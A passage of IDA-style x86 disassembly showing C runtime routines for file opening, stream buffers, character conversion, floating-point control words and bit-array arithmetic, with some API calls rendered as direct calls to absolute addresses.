loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43D098 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DBC48 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43D318 jl short loc_423990 xor edx, edx mov ecx, offset dword_43D0A8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DCC80[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43D108 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB968, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DBB10 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DBC20, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB928, 16h mov dword_4DB92C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB930 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB92C, 0 mov dword_4DB928, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 271091Eh mov esi, eax cmp esi, edi jz short loc_423BFD push esi call near ptr 2630000h nop test eax, eax jnz short loc_423C11 push esi call near ptr 2660843h nop loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 268082Fh push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DCC80h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB92C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBB18 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 26104C0h test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CB4DC push esi push ebx nop call near ptr 2620000h test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DBB18, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB9E4 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2620000h jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB9F4 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2840000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call near ptr 2840000h nop cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 26104C0h jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DCD80 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCC80[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB9E4, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43CBB4 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB9F4 nop call near ptr 2830000h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB928, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB9E4, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C9A8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43CBB4 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB9F4 call near ptr 2840000h nop test eax, eax mov eax, dword_43CBB4 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB928, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB9F4 nop call near ptr 2840000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N 